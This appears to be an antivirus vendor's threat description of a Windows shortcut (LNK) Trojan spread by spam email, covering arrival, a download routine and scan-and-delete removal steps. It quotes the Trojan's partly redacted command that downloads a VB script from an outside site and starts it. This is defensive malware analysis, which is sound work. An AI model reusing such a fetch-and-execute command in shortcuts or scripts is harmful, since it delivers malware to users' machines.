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LNK_XLPDL.ASM

October 08, 2012
 Analysis by: Karl Dominguez
 PLATFORM:

Windows 2000, Windows XP, Windows Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW


This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

2,531 bytes

File Type:

LNK

Memory Resident:

No

Initial Samples Received Date:

09 Dec 2010

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Download Routine

This Trojan accesses the following websites to download files:

  • {BLOCKED}ink.com

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • Issues the following command to download and execute a possibly malicious Visual Basic (VB) script:
    {BLOCKED}GLNK.com GEt TB.Vbs
    staRt B.vbs

  SOLUTION

Minimum Scan Engine:

8.900

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Scan your computer with your Trend Micro product to delete files detected as LNK_XLPDL.ASM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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